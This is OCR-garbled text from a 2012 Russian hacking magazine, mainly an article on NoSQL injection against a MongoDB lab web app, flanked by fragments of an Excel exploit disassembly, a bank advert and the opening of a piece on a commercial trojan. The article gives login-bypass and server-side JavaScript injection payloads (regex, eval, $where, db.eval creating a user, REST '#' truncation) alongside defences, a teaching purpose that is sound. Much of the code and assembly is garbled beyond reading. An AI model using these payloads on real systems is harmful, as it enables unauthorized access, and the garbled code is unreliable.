sub_30164E23,
относящиеся кдочерней
записи, сохраняются в буфере. Далее, как следует из кода,
выполняется обработка дочерней записи. Одной из функций, участвующих в обрабо т ке, является функция
sub_3012FABC:
· t.e~:t: ЗЩ2F,lI,Ц! ...... .!!I.оУ............. е.Ф" .. [ebp+a.rg_~J .. •.te.1<t: зщ2FАсВ..........>фс ............ е.si,.. esi ..... ............................................. · t .e?<:t : .з8цf..!'Iсl2 ........ c.!!Ip._ .........dWor:-d_з87ЕlFВ4, . e.s.i......................... . • text: щl.цАD.з .........тQУ............ eJ:))5,. [.еФ. -/:!5 1 .' te.x1; :з812.FАQR.......]!1оу ........... [.еЬр±у.аг: _4J, esi .......... .. •:te>$t: зщ2F,lI,D.9. ......... шQУ............ Jе.Ьр.+Уаr _4С], . esi ................................ · text.: ЗjjJ,2fА.QC ....... 1)]9\1............[ еЬР.±уас4В], .. esi..... .... ..................... · tехt:З~12F.АDF . mоv............. [.ЕфР.+vаr _44], J!si . tе хt:. З81ЦАЕ2 .... )I),QY...........,[eJ>R±Y<Jr38.], esi ....... ..text : Зjj12F.ДЕ5 ....... j!'!...............l.Q~_зjj27.48],8. · text : .З812FА):1;!, .. СП1R...........dwрr.d_З87DВ7А4, esi ........................... __ · tex1; : JЩ2 FДFl .. .jrK .......shoT1;. 10с_З812FАFВ
056
.... ea.x~ ...ea.X.....__ .. _ ... __ ....... __ ... ___ ......... __....... .. · tе ~t. :..з.е..:J,ппg...... j .;I;.......... __ s.b9r,t .. ~..осз.~J2Пя!;..........................._. , 1;.ехt. :. зю..4.?..27..6....... -"jQУ ....... е .с ~,.. [e..a.>I} __ ................. __ ............... _.... __ .. ...text. :;!!ЗJ.4Z.П.А ..... JJ~a ... edx, [еЬр±а r:-,g_!JJ ............ ___ ._ ._....... .t.e.xt.;3~J.Z}.nQ ..... R.lJsh.... edx ..........................................._... , t.е~.t .;)~пПл. __ .. l2у. s.h.__ 8BEh .............................................................. ,.:text..: з.~,цПJ3J........ р.\.J.$.h.... e.si.................................................................... .,t.e>$1;.: з~12П.!!.4 .......R.u.s.h .......... еах ...... __ ....................... ____ . · tех1;..;э E.'I. 1.J.П.65........с!'!J.1 ....... g.W.QГd .. Rtr:-.. Jе..с:.1<.±J1сJ:й ........ .. ... ~.... ~= . ~.. .де.R.ед<J..е.М... у!J l2iJ.!3IJe.H~e. Н.!'! .. лш),е.;!ij.УJ9....Нii[.РУ.<! ку.
..
1,.';111" Microsoft Office ExceI200210.2614.2625 Service Pack O(Office Windows ХР SP3, Microsoft Office Excel2002 10.6501.6626 Service Pack 3 (Office ХР SP3) оп Windows ХР SP3 . ХР) оп
Существует обновлен ие, устраня ющее эту уязвимость . ::Х::
ХАКЕР
02/157/2012
А Апьфа· Банк
Оформить дебетовую или кредитную «Мужскую карту» можно в отделениях ОДА «Альфа-Банка», а так же заказав по телефонам:
(495) 229-2222
в Москве 18-800-333-2-3~3 в регионах России (звонок бесплатный) или на сайте
www.mancard.ru
ОАО «Альфа-Банк». Генеральная лицензия банка России на осуществление банковских операций от
29.01.1998
N2IЗ2б"
Тотальный дестрой
ЧТО ТАКОЕ
MongoDB
NOSQL
Думаю, ты знаком с реляционной моделью СУБД, согласно которой
база данны х состоит из сущностей (таблицl, связанных между собой . Доступ к данным осуществляется с помощью
SQL -
структуриро
ванного языка запросов. За примерами реляционных СУБД далеко ходить не надо:
MySQL, Oracle, Microsoft SQL Server.
Все остальные
СУБД, архитектура ко торым отличается от классической реляцион
ной модели, смело можно отнести к классу NoSQL-решений:
• • • •
различные варианты хе ш-таблиц (Redis, BigTabIe, memcachedl; документо-ориентированные базы данных (MongoDB, CouchDBI; базы данных, основанные на графах (Ne04j, Sones GraphDBI; объектно-ориентированные базы данны х (db40, Cache, Jadel; ХМ L-ориентир ованные базы данных (eXist, BaseXI.
Основное отличие NoSQL-СУБД от их SQL-ориентированных конку рентов заключается в отсутствии единого, унифицированного языка запросов. Например,
MongoDB используетв качестве языка запросов BSON, eXist применяетХQuегу, а Sonic GгарhDВтребуетотразработчика знания GraphQL, языка запросов кданным, имеющим вид графов. По пулярность NoSQL-СУБД растетс каждым днем, что не может не сказы
Пример базы данных, построенной на графах
ваться на нас стобой. Совсем скоро, буквальнозавтра, тебе придется искать не SQL-инъекции, а NoSQL-инъекции в очередном проекте .
этот уровень довольно сложно, потому что сообщество, сформиро
Не будем терять времени и поговорим о потенциальны хуязвимостях.
вавшееся вокруг продукта, и сама компания - разработчик ста раются исправлять ошибки rтo мере их обнаружения. Но у тебя есть очень
ТАК ЛИ БЕЗОПАСНЫ NОSQL-СУБ
?
большое преимущество: большинство программных продуктов
Довольно часто я слышу утверждение, что нереляционные СУБД
поставляются с исходным кодом, а значит, ты вполне сможешь его
безопасны, так как они не используют
проанализировать и, возможно, найти что-нибудь стоящее . Если тебе
не может провести на них атаки типа степени это верно: нет
SQL -
стему невозможно внедрить безопасна.
SQL и злоумышленник SQL-injection . В какой-то
нет SQL-инъекциЙ. Но, если в си
SQL-KOA,
NoSQL закрывает одну
это еще не значит, что она
потенциальную уязвимость, при
этом открывая с десяток други х, которые позволяют совершать
манипулироват ь с RЕSТ-интерфейсом и подделывать межсайто
выезапросы
• •
-
клиентское
API.
Большинство
NoSQL-
СУБД имеют целый зоопарк различных библиотек для доступа к данным . Стоит отметить, что большинство библиотек представляют собой проекты с открытым исходным кодом, но часть из них уже не поддерживается. Вероятность обнаружить уязвимость в клиент
разнообразные вредоносные действия:
•
пове зет, то в твоих руках окажется ключ практически к любой базе данных!Следующий уровень
ской библиотеке значительно выше, чем непосредственно в самой
СУБД. И даже если тебе не посчастливится найти ту единственную
(CSRFI;
использовать регулярные выражения в параметрах запроса;
выпол нять скри пты на сервере, если на нем установлена
NoSQL-
уязвимость, которая откроет доступ ко всем приложениям, построен
ным на основе этого
API,
ты будешь представлять, как именно прои с
СУБД (например, MongoDB позволяет запускать JаvаSсгiрt-коАI;
ходит диалог между клиентским кодом и сервером баз данны х, какой
получать доступ кданным через специальный интерфейс, под
используется протокол и можно ли перехватить сессию.
держиваемый СУБД (SQL в реляционны х базах данных,
Ну и наконец, верхний уровень -
BSON
приложение, которое ты соби
в MongoDB и т. A.I, и, если используется язык запросов, «испра в
раешься взломать . Здесь тебе прежде всего нужно найти те места,
лять» эти запросы.
где программист забыл проверить входные данные , и попытаться их проэксплуатировать. В данном случае нужно использовать тот
Рассмотрим типовую архитектуру приложения с доступом к храни
же под хо д , что и при поиске SQL-инъекций, то есть аналиэировать
лищу данных
код и сообщения об ошибках, только на этот раз придется разби
• • •
NoSQL. Обычно она сос тоит из трех уро вней:
раться с
приложение;
AP I базы данных NoSQL;
JSON, JavaScript
или чем-то подобным .
Итак, настало время для взлома! Сегодня нашей целью будет
NoSQL-СУБД.
одна из самых распространенных NoSQL-СУБД .
MongoDB -
Злоумышленник может атаковать каждый из этих уровней . Нач
NОSQL-ИНЪЕК
ИИ В
MONGODB
нем с самого нижнего уровня, то есть непосредственно с СУБД. Как
МЫ будем взламывать небольшое wеЬ-приложение. Его исходный код
и любое приложение, СУБД может быть подвержена атакам перепол
и весь необходимый софтты найдешь на диске, прилагаемом к журналу
нения буфера или иметь уязвимую схему аутентификации . Атаковать
(процесс установки подробно описан в файле README.RU.txtl. Если установка пройдет успешно, то приложение должно быть досту пно
по адресу httр://127.0 . 0 . 1:ЗlЗЗ7. Основные атаки, о которых се годня пойдет речь: инъекции в регулярных выражениях;
•
JSОN-инъекции;
•
JаvаSсгiрt-инъекции.
манипуляции с RЕSТ-интерфейсом;
Начнем со взлома при помощи ошибок в использовании регулярных выражений.
2004
2005
2006
2007
2008
2009
2010
MongoDB, Статистика поисковых запросов о
ХАКЕР
02/157/2012
NoSQL в Google Iпsights
как и многие другие NoSQL-СУБД, позволяет осущест
влять поиск с помощью регулярных выражений . Это очень мощное,
059
взлом
·~ J I С'·..·'; C:\ Program Files\mопgоdЬ-wi п32 - i38б- . . ..1 + 1
I
~ п
«:> • с 11 ~t ·
127.0.0.1:28017
РI
] C:::> , I @ I ~
•
1.1-
L...:. А
Filеs\mопgоdЬ-wiпЗ2-iЗ86-2.0.1\Ып\mопgоd.ехе
C:\Program
г'
Ij l
List all commands I Replica set status
I
Commands: buildlnfo cuгsor1nfo featuгes dЬ vеrзiоn
git
hа з h:
v2 . 0.1, pdfile
v еrзiоn
isMasteг
listDatabases гeplSetGetStatus serveгStatus!.Q.p
I ~
.
4.5
З а5сfОе2 1З4а8ЗОdЗ8d2d1 аае 7 е88сасЗ 1Ьdd684
зуз info: win dоw з (5, 1, 2600, 2, uptime: 44 зесоndз
'S ervi ce Pack
!
БООSТ_LIВ_VE R SI ОN=1_42
З')
low level гequiгes гead lock time
f
СО
чес
dаtаЬазез:
readlock: 1
1
-'-
Оmз
replication: mазtеr:
О
зlаvе:
О
clients I Opld ,Actlve
ICllent Web-интерфейс
Lock1Ype Walting : SecsRunnlng 1
Ор
•Namespace Query
cllent
i
msg progressl
MongoDB
но в то же время опасное средство, кото рое может нанести суще
ционирование все х страниц в прило же нии . Сейчас нас инт ересует
ственный вред при неправильном и с пользовании.
метод
Для п оиска с помощью регулярных выражений в
regexp:
MongoDB
используют оператор $regex. Наприм ер, запрос «ве рни м не всех пользователей, логин которых начинается с ··ГО"", будет выглядеть
var var
rеgехр"w.Q ...=.. п еl1 RеgЕхр (" Л " t .. раsswоrd, lQgiПР<lГ<lm ...=.. {
lоgiп :
lоgiП J
..~' i ~'.); passwQrc!.: regexpPwd };
следующим образом : Как видишь, аутентификация пользователя пр оисходит по dЬ . usеrs.fiпd({.. lоg:!,о; ..{...$геgех :
" Л rо"
} }) . ......................
средством запроса , который указывает регулярное выражение
в качестве пароля . При зтом переменная Кстати , ес ли ты не знаком с языком запросов
MongoDB, то
рекомендую начать его изучение с руководства разработчика ,
pa55word
никак не филь
тр уе тся, что открывает нам полн у ю свобо д у де йс тв ий. Здесь ты можешь указа ть имя пользователя го о! и регулярное выра жение
кото р ое на х одится по адресу bi!.ly/cqW1 RH . Но вернемся к нашему
вместо пароля, напр имер [\ 5\ 5]*. В результате MongoDB выполнит
приложению. Откро й тестовый web-сайт и выбери пункт «И нъек
сле д ующий запрос :
ции В регулярных выражения х" в меню
/Л [ \ S \S] */ i}) , и ты ус пешн о войдешь на уяз вимый сай т под логином
MongoDB. Посмотрим, как устроена эта с траница. Открой файл mongodb.j5 в папке Lib. В нем реализован класс MongoDbCon!roller, который отвечает за функ-
db.users. findOne( {lоgiп: 'root' , pa55word:
го о! I этот прием напоминает классическую 5QL-инъекцию «1' ог 1=1
__ »]. За щ итит ь ся от подобной атаки дов ол ь но п рос т о. В о- п ервых, всегда проверяй в х одные данные , откуда бы о ни н и п оступили напрям ую от пользователя , или и з внешнего файла, или из базы
данны х. Перед использованием данны х в программе их следует проверять. В о- вт орых, используй регулярные выра жения только
ГЛОССАРИЙ
в тех случаях, когда з то действительно необ х одимо. Например , приведенный выше запрос можно переписать вот таким образом:
•
REST
(Rергеsепtаtiопаl
state transferl- подход
к разработке
с!Ь. USeT$ .fiпd.Оп.е( CJ.ogin:.
'root ' ~
pa~s)'!Qr.d ;... '.p.@S.5Werd
' })
архитектуры распределенных систем, который подразумевает,
что каждый объект системы однозначно определяется глобальным идентификатором, например
URL.
Каждый
Как видишь, он безопаснее и при зтом выполняет ся быстрее .
URL,
в свою очередь, имеет строго определенный формат. Управление
сервисом основано на протоколе передачи данных . Обычно это НТТР или
HTTPS,
который поддерживает минимальный набор
операций над объектами: GEТ (получить),
DELETE (удалить). BSON (Binary JavaScript Object Notation) -
PUT
(добавить) ,
POST
(сохранить) и
это бинарная форма
представления простых структур данных и ассоциативных
массивов. Название произошло от широко распространенного формата обмена данными
JSON
инеофициально
расшифровывается как бинарный
060
JSON (Binary JSON).
JSОN - ИНЪЕК ИИ MongoDB не п одде р живает 5QL, но СУБД не может обойтись без языка за про со в . Ра зработчики MongoDB решили использовать вм есто 5QL популярнейший текстовый формат обмена данными J50N IB50N]. Та ким образом, можно попробовать осуществить Да ,
разного рода атаки-инъекции (конечно, если в х одные данные
не фильтруются]. Такие атаки обычно называют J50N-инъе кци ями . Итак, сно ва открывай наше прил ожен ие и переходи на страницу « J50N-инъекции ». Как и в пр еды д ущем пр име р е, ты увидишь поле для ввода имени пользователя и пароля . Давай рассмотрим код,
ХАКЕР
02/157/2012
Тотальный дестрой
MongoDB
отвечающий за процесс аутентификации на этой ст ранице . Он со держится в методе
json-injection
класса
MongoDbController:
..
v а r 1Qgi,n р а r а П! ...:о .. еv а 1 с: и lp,Rin.:...'." _±...1pg iл ..:t ...::.:., .... .pa~.~.wo~d..: ....'..~... ±.. P.asswQr.d...±. о, '
Приложение
Н");
Вышеприведенный код преобразует текстовое представление
объекта JavaScript Iзапроса к MongoDB) в объект. После передачи этого объекта на сервер баз данны х происходит аутентификация пользователя . В этом куске кода есть одно очень слабое место входные данные никак не контролируются, поэтому ты можешь
АРI
сформироват ь практиче ски любой запрос к базе! Например , укажи
NoSQL СУБД
имя пользователя «root ' })//» Iпароль вводить необязательно) и на жми на кнопку « Войти ». Поздравляю , ты снова вошел в систе
му! Как так получилось? Все очень просто. Ты указал имя пользо
вателя
«root'})//», и в функции eval произошел следующий фокус
I/ ПеРJ'!АiJнное . 3ЩI'jение ..
. ............... .................... ({!ogi.o :... ' rppj;.'JJ LJ ', .. P<J.s~.WQrQ.:.... '..'...JJ ................................... I/Лоnу.'шршиЙс .я .. ,з.i!ПРРС .............................................................. db. \J.sj:!.r'.~ •.find,on.~({ . 1оgi,л;.... .'. г.QоJ .' ... Н ............. На самом деле этот скрипт даже еще опаснее, так как с его
помощью т ы можешь выполнить любой код
JavaScript на webсервере. Например, имя пользователя «' + process.execPath))//»
NоSQLСУБД
Стандартная архитектур а д о ступа к д а нным в NoSQL-СУБД
• •
сформируе т запрос вида
/listDatabases?text=l -
список баз данны х;
/sе rvеrstаtus?tехt=l-текущее состояние сервера.
В общем случае для формирования RЕSТ-запроса к базе данны х
Уязвимости такого типа называются
Server Side JavaScript
Inje ctions или просто SSJI. Как же защититься от подобны х атак? 1. Проверяй вседанные из внешних источников . Например, логин должен соо тветствовать регулярному выражения «Л [а-zА-Z]+$ » .
2.
Никогда не используй функцию еvаlдля работы
js доступна функция JSON .parse, которая
cJSON.
В
используется
URL следующего
вида:
ht:tp: 1.f.'J.~ 7 • е. e.•J:~!!e17 /6а.за.-даННЫХ!ISQллеl<ЦИЯ/'?' fil ter _!l.оnе=знаЧ.е.Н.И.е
Node.
парсит входную строку
На странице «Ма нипуляции С RЕSТ-интерфейсом » нашего web-приложения происходит аутентификация пользователя при
исоздаетобъектнаееоснове.
помощи RЕSТ-интерфейса
rest
класса
MongoDB. MongoDbController:
Она реализована в методе
В связи с бурным развитием интернета и сервис-ориентированной
архитектуры
ISOA) все большую популярность набирают REST-
решения . Так как большинство современных нереляционных СУБД организовано в соо тветствии с последними тенденциям в индустрии,
то многие из таких систем либо сами реализуют
REST, либо
исполь
уаг л~~tQrу
=
"i~е~.uге_пр.sqJ/usеr.sПfiJtеr _lрg;iл="
.±..1Qg:i,!J.. + .. ".~бl ter_pa~.sword=" t .p.a.S~w.Qrd; ....... rest.Qr'.y.:i.ndexQf.(."#" ); . i f (hi!);.h.. ~ - 1) ...{...restQrY .."' .. r.e.stQry.•.sypstTing{e,... hash) ; .. J....
уаг tщsh. "
зуют сторонние продукты для доступа к данным с помощью RESТful архитектуры.
MongoDB
не исключение : в эту СУБД входит простой
Скрипт формирует RЕSТ-запрос, игнорируя при этом все данные
RЕSТ-интерфейс который позволяет получить доступ к данным в ре
после символа
жиме «Только чтение». Кроме того, существует проект под названием
НТТР-запрос к серверу и ожидает результат в формате
Sleepy Mongoose,
который реализует полн ую поддержку
REST.
Давай посмотрим, как работает RЕSТ-интерфейс, встроенный в
MongoDB. Сервер СУБД должен быть запущен с пара метром «- rest ». RЕSТ-с ер вис ДOCTy~eH по адресу http://127.0.0.1 :28017/ Это
#. Когда
RЕSТ-запрос готов, скрипт формирует
JSON .
К примеру, запрос информации о пользователе гоо! в базе данны х
secure_nosql выглядит следующим образом: http://127.0.0.1 :28017/ sec u ге _п osq I/use rs/?fi Ite гJ og i n=root& fi Iter_р а ssword =p!iJ sswO rd. В сё бы хоро шо , но в коде есть ошибка, проявляющая себя при об
очень прост ое web-приложение, которое отображает информацию
работке символа
о текущем состоянии СУБД и позволяет формировать запросы
то окажешься залогиненным в системе. Проблема, обусловленная
к базам данных. Вот несколько интересных ссылок:
формированием следующего URL: http://localhost:28017/secure_
ВI
Mongo -
ХАКЕР
#. Если
ты попробуешь войти с именем
«root# »,
C:\Windows\system32\cmd.exe - mongo secure_nosql
стандартный клиент
02 /157/ 2012
MongoDB
061
взлом
Q
р
...
зто позволяет писать очень сложные приложения для обработки
"
с-
•
данны х, с др у гой
-
делает твое приложение более уязвимым.
Где можно использовать
JavaScript в МопgоDВ? 1. Запросы с оператором $where. Например, запрос db.orders. find({ $where: "this.amount > 3" }) вернеттебе список заказов,
--
количество пунктов в которых больше трех. Пароль:
2. З.
db.eval. К примеру, dЬ.еvаl( "fuпсtiоп (х) { return х * х; }", 2) вернет четыре. <IIункции для сохранения в базе данных. MongoDB ПОЗВОJ'iяет сохранять функции, написанные на языке JavaScript, в базе дан Команда
ных . Для зтого используется специальная системная коллекция
system.js. Чтобы создать нов ую хранимую функцию foo(x], выпол
Страница аутентификация пользователя в тестовом приложении
ни следующий код:
nosql/users/?filterJogin=root#&filter_password=. состоит в том, что параметр filter_password был проигнорирован и аутентификация проходила посредством запроса http://Iocalhost:2B017/secure_ nosq I/use rs/?fi Ite гJ og i п= root .
...... qb .я;;.tет .•j s.•.Sqye.(...{. _i.d.; ..':fQQ" > ... Y.ilJ..lJe ;
fuщ tj,QГ] ... (Х). ......
......{ .re.t u.rn .. x... ~ .. 1<;. .J}) .. ..... .. .............................._........ _ ..................... Теперь можешь попробовать вызвать ее воттак: db.eval( "foo(2)" ). 4. Map/Reduce. Мар/Rеduсе-это программный фреймворк, разра ботанный компанией Google для параллельны х вычислений над
Стоит отметить, что большинство RЕSТ-интерфейсов также
уязвимы к подделке межсайтовых запросов (CSRF] :
большими объемами данны х . Он содержит две операции: тар, используемую для предварительной обработки данны х, и
reduce,
осуществляющую поиск результата.
MongoDB по зволяет запускать операции map/re duce на сер
Честно говоря, я довольно скептически отношусь к RESТful
вере баз данны х . Операции по распараллеливанию процессов
архитектуре, так как она открывает большие возможности для
злоумышленников. Постарайся не использовать него никак, то предварительно прочитай статью
REST. Но если без Robust Defenses
и агрегации СУБД берет на себя, о т разработчика требуется лишь ук азать ис хо дные данные и функции, реализующие команды тар
for Cross-Site Request Forgery (bit.ly/cbV LvY], в которой очень под
и
робно описаны все аспекты безопасности RЕSт.
на
JАVАSСRIРТ- ИНЪЕК !J ИИ вать х ранимые процедуры. Давай рассмотрим
раторе $where и аналогичная уязвимость в команде db.eval. Начнем с оператора $where. Открой приложение и выбери пункт $where в меню «И нъекции Ja vaSc ript». Ау тентификация на страни
ANSI SQL
Microsoft SQL Server,
и позволяет соблюдать
практически любые требования бизнес-приложениЙ. Если тебе
не х ватает возможностей в
це реализована в методе
SQL Server], то ты можешь написать хранимую процедуру на С#
........................: :.'.~&.. t.tJJ.~.,.Р.9sя'iQ.rg... ~.;:~...:.:·...±.. pg.s. ~WQ.rg...±... ::.'.::; . у. il г. .. JQg;tлf'.<! Г.<J.!П...=_..{..:: $.w.iJ.e.r.e~' ...:... j..s ..1 ;.........................................................
Ja vaScri pt.
Фактически ты можешь вы
полнить почти любой код на сервере баз данных. С одной стороны,
ПО
класса МопgоDЬСопtгоllе г:
v.'Н: .. j'~"_"'... :~t.hJ.s .•Jg,giЛ ...;:~: ... :.::...±.. J.Qgj,!J ... ±............. _...................................
обладает не менее богатыми возможностями , в число
которых входит серверный
FAQ
ssji-where
T-SQL (это диалект SQL, реализованный
или любом другом .NЕТ-совместимом языке.
MongoDB
в документации
в нашем тестовом приложении имеется JаvаSсгiрt-инъекция в опе
Большинство современных реляционных СУБД позволяют созда который расширяет возможности
reduce. Дополнительная информация доступна MongoDB (bit.ly/4V7mD ].
Сначала генерируется скрипт, который проверяет имя и па-
NOSQL ЧТО ТАКОЕ
КАКОВО ПРОИСХОЖДЕНИЕ ТЕРМИНА
ПОЧЕМУ
MONGODB?
NOSQL?
NOSQL? А А
NoSQL переводится не как «Нет SQL» (No SQL а! all], а как «Не только SQL» (Not опlу SQL) . Этоттермин возник в 1998 году: именно так Карло Строцци ICarlo Strozzi) назвал свою нереляционную систему управления базами данных.
MongoDB -
это документо-
А
Давай рассмотрим, какие основные преимущества имеют базы данных
ориентированная система управления
баэами данных с открытым исходным кодом,
NoSQL
разрабатываемая компанией
ми собратьями.
2007
года. Первый релиз
в феврале
2009
10gen с октября MongoDB вышел
1.
г\>да . СУБД позиционируется
по сравнению со своими реляционны
Производительность . Разработчики большинства
NoSQL-
как решение для хранения данных в высоко
решений посвящают очень много времени
нагруженных проектах . К ее основным
оптимизациисвоихпроектов.МопgоDВ
когда Эрик Эванс (Eric Evans) на конферен
достоинствам можно отнести высокую
позволяет добиться порядка
ции, посвященной свободным распреде
производительность, отличную масштабируе
и
Второе рождение он получил в 2009-м,
ленным базам данных, использовал его для
мость, отказоустойчивость и наличие
обозначения нереляционных СУБД и храни
обширного сообщества разработчиков
лищ данных .
и пользователей. На данный момент среди
Можно считать, что именно эта кон
ференция положила начало буму решений .
062
NoSQL-
пользователей
MongoDB
и другие.
Disney,
Простая настройка репликации баз данных.
МопgоDВпозволяетнастроитьрепликацию всего лишь с помощью нескольких команд,
присутствуют такие
всемирно известные компании, как
SAP, Forbes
2.
20000 вставок
4800 выборок в секунду.
.то есть гораздо проще, чем в том же З.
Oracle.
Множество «плюшек», облегчающих жизнь программистам.
ХАКЕР
02/157/2012
Тотальный дестрой
_
_
I~ .!.:..-
. .....
Поэдравnяю! Ты вошел в системуl
Неправильное имя пonьэоватenя или паJЮl1Ь. Попьпайся еще раз.
выЙти из сиcreмы.
Рыщи из сиqемы.
Доступ к тестовому приложению запрещен
Успешная аутентификация в тестовом приложении
Сервер~ый
роль пользователя. К сожалению, данные в переменных
password login никак не проверяются, что позволяет выполнить любой Теперь давай попробуем войти как
«root' jj» и
JavaScript
обладает огромным потенциалом и в то '
же время несет в себе много опасностей. Одна маленькая ошибка в коде, и злоумышленник получает доступ к твоему серверу баз
скрипт на сервере.
теля
~--"""""""-- +
"' 1l7JW.:ШIl'-I..,. :;'::: .... ;..._ _ _ _ _ _ _ _ _.-:. ~ ,.. cOL:::: !t.. . -;;:;;. ____Р;...:":..:I!:.. ' ":,,
. .....
и
MongoDB
root.
Введи имя пользова
попробуй войти. Ты в очередной раз успешно
данных. Я настоятельно рекомендую не использовать серверные скрипты :
85 % запросов
можно написать и без них.
залогинишься! Это возможно благодаря тому, что на сервере был сформирован следующий запрос к
ЗАКЛЮЧЕНИЕ
MongoDB:
В заключение я бы хотел поговорить о том, каким я вижу настоя
{ .' $whe.re..'__ :.. ________ . ______ .____________________ . ______ о о о о .::t.nis.logiJl __ .=.;'=. \ 'TQo:t\ .:__ .U\'__ .1!<& . th.is ...p<;I.~s.woLd __===. \' .\ ' .' __ } . ______
____________ •
__
__
________________ __
щее и будущее NoSQL-сообщества. Во-первых, ты убедился в том, что NoSQL-СУБД пока не являются мейнстримом, но уже довольно близки к этому : появляются новые нереляционные СУБД и проекты,
«//» - это комментарий в JavaScript, поэтому результирующий запрос примет вид « this .lоgiп === 'root'» . К счастью, в момент выполнения запроса база данных находится
которые их используют. Как мне кажется, в ближайшем будущем NoSQL-решения займут относительно большую долю на рынке высо конагруженных приложений. Во-вторых, безопасность современных
в ре ж име « Только чтение», поэтому злоумышленник не сможет напи
NoSQL-СУБД оставляет желать лучшего. Если в мире реляционных
сать скрипт, модифицирующий твои данные. Но это еще не говорит
баз данных существует один стандартизированный язык запросов
отом , что подобная атака невозможна.ОткроЙ страницу « Инъекци и
- SQL, то
JavaScript - db.evall __ .I ». На этот раз аутентификация проис х одит
сов, как ему вздумается:
в «нереляционном мире» каждый реализует язык запро
посредством вызова функции еуаl на сервере базы данны х :
ственно, и потенциальных уязвимостей намного больше. Если при
JSON, XQuery,
RЕSТ-интерфеЙсы. Соответ
работе с реляционными базами данных было достаточно изучить уа L.. js __ .= __ ".f!JJl~:tJоп __ .О {г.~:tчrfl __ РQ . users ., fitJ.Q.Qn.~ __ {{
.l ogi,f),;____ :." __ __t ... lо.g).л __ .t __ .::.:., ____ р;;t.sswо rd.; ____ '.:' __ .t .__ ра.ss.wоrQ .. ±--." ..'... .}) ; ...} "..
SQL-инъекции и способы борьбы с ними Iпри этом ты мог применить уже имеющиеся знания как в MySQL, так и в Oracle или SQL Serverl,
gь ..еу' i,11(js.)~____ . _____________ . _____________________ .
то с нереляционными базами данных всё не так просто. Сначала тебе предстоит разобраться, какой язык запросов используется
Как видишь, у тебя есть возможность выполнить любой код на сервере БД. Попробуй создать нового пользователя
pen_test
с паролем реп_tеst. Для этого нужно ввести следующий логин:
в твоей СУБД, как осуществляется доступ к данным и существуют ли дополнительные возможности, которые можно использовать для
взлома Iнапример, серверный JavaScript в MongoDBI. После сбора информации тебе предстоит найти потенциальные уязвимости
'. Н, .dQ,!Js~rs , iJJ.s.!H'.t( {JQgj,f),;____ '.p.en_t.es.t.'
,--. p;;t.s.SWo.rd :..
в своей системе и способы их устранения.
..'. l)., __ .l __ }__ .! / ________________________ .
Я очень надеюсь, что в ближайшем будущем ситуация изменится:
.: рел_tе.s:t
в открытом доступе появится больше информации и защититься Во-первых, ты вошел в систему. Во-вторы х , в базе данны х
появился новый пользователь реп_tеst
Например,
4.
:1.
сто, как от обычных SQL-инъекциЙ.::J:
сообщество, которое всегда готово помочь
MongoDB имеет встроенную
Порталы и социальные сети: Facebook, Twitter, Liпkеdlп -думаю, ты сможешь про
поддержку Map/Reduce и сложных структур
и исправить найденный тобой баг. В конце
данных.
концов, ты сам можешь исправить баг
Масштабируемость.
или написать необходимое расширение.
Это один из главных козырей NoSOL-СУБД.
Кроме того, можно заметно сэкономить
SaaS. Всё большее число компаний выбира ет решения Software-as-Service в качестве
должить список самостоятельно.
•
Большинство из них поддерживает горизон
на расходах на администраторов баз
основной платформы для ведения бизнеса
тальное масштабирование, что способствует
данных, так как нереляционные СУБД
втех отраслях, где постоянно растут на
существенной экономии средств на обору
гораздо проще реляционных и для их
грузки на инфраструктуру. Многие постав
довании, ведь дешевле купитьеще один не
поддержки в большинстве случаев
щики SааS-решений переходят на
дорогой сервер для кластера, чем добавить
не требуется специальный сотрудник.
Так, к примеру, поступил
вкорпоративныйсервердополнительную пару процессоров и оперативную память.
5.
от угроз, связанных с использованием NoSQL-СУБД, будет так же про
Они дешевле! Большинство NoSOL-решений-это
проекты с открытым исходным кодом. Ты можешь скачать их прямо сейчас и начать использовать. Вокругмногихпроектов сформировалосьбольшоеисплоченное
ХАКЕР
02/157/ 201 2
m
КТО ИСПОnЬЗУЕТ
А
NoSOL. Salesforce.com-
лидервобластиSааSСRМ.
NOSQL?
Стартапы. Это отдельная категория проектов, которые запускаются с минимальным бюдже
Как видишь, NoSOL-СУБД имеют ряд
том с расчетом на суперприбыли в будущем,
неопровержимых преимуществ. Давай
Такие проекты часто выбирают NoSOL-
рассмотрим, кто же их использует:
«Облачные» сервисы, а именно
Google, Amazon и даже WindowsAzure от Microsoft.
решения, так как они, во-первых, дешевы,
а во-вторых, представляют собой отличный задел на будущее, если он будетпопулярным.
063
взлом
Johnny Catch
" егальны и
т ОЯН: это как? ПОТРОШИМ
КОММЕРЧЕСКИЙ ЗЛОВРЕД
REMOTE CONTROL SYSTEM в IТ-сообществе принято считать
безусловным злом любой софт, который крадет персональные данные пользователя и приносит огромную прибыль киберпреступникам. Между тем существуют вполне легальные компании, которые
разрабатывают и продают трояны.
НЕЛЕГАЛЬНОЕ ЛЕГАЛЬНО Неужели действительно кто-то разрабатывает и продает вредо носное ПО легально? Да , только тот же самый софт, за создание которого еще вчера могли при влечь к ответственности, разраба тывается не со злым умыслом, а для решения вполне легитим-
ных задач. Скажем, спецслужбы могут осуществлять с помощью программ, ко торые совсем недавно использовались как трояны,
сбор оперативной информации
- где тут вредоносность? Восьмого 2011 года крупнейший европейский хакерский клуб Chaos Computer Club [ССС] опубликовал отчет о реверс-инжиниринге октября
трояна , который немецкая полиция якобы использовала не только
для сбора пользовательски х данных, но и для скрытой установки программного обеспечения на зараженные компьютеры. Власти
официально зтот факт подтвердили. А в декабре исследователь и завсегдатай форума
XDA-developers Тревор Экхарт обнаружил, что Android и iPhone, скрыто
ряд современных смартфонов, в том числе
следят за действиями пользователей и передают собранную «статистику» производителям. Подробнее об этих двух инцидентах
можешь прочитать во врезке. Сейчас же я предлагаю рассмотреть один из таких «легальных троянов»
- Remote Control System,
узнать, что о нем говорят разработчики, и разобраться, что он на На нашем диске ть!
самом деле собой представляет.
найдешь видео, в котором наглядно показан процесс
REMOTECONTROLSYSTEM
обнаружения трояна
Скажу прямо, сам производитель предоставляет о программе
RCS в системе
крайне скудную информацию. На официальном сайте итальянской
ХАКЕР
02/157/2012
Легальный троян: это как?
G
Значение
Поле
~ действителен по
..
31 июля
~ откры ыый КЛЮЧ li! основные ограничения ~ Точки распространения сп ... ~ ПолитикисертиФИката ~ Улучшенный ключ ~ Лnrтvn ~
1......
rhnnM-"I IIAlА
n
Ilj:Io
2011г .
pub1ic statio SecretKey DeriveKey(String paramString) thraws NoSuchAlgorithmExcept1on
1:59:59
•• . •
int i
.
=
О:
String localObject
RSA (1024 Bits) Тип субъекта=Конечный су ... [l]ТОЧка распределения спи ...
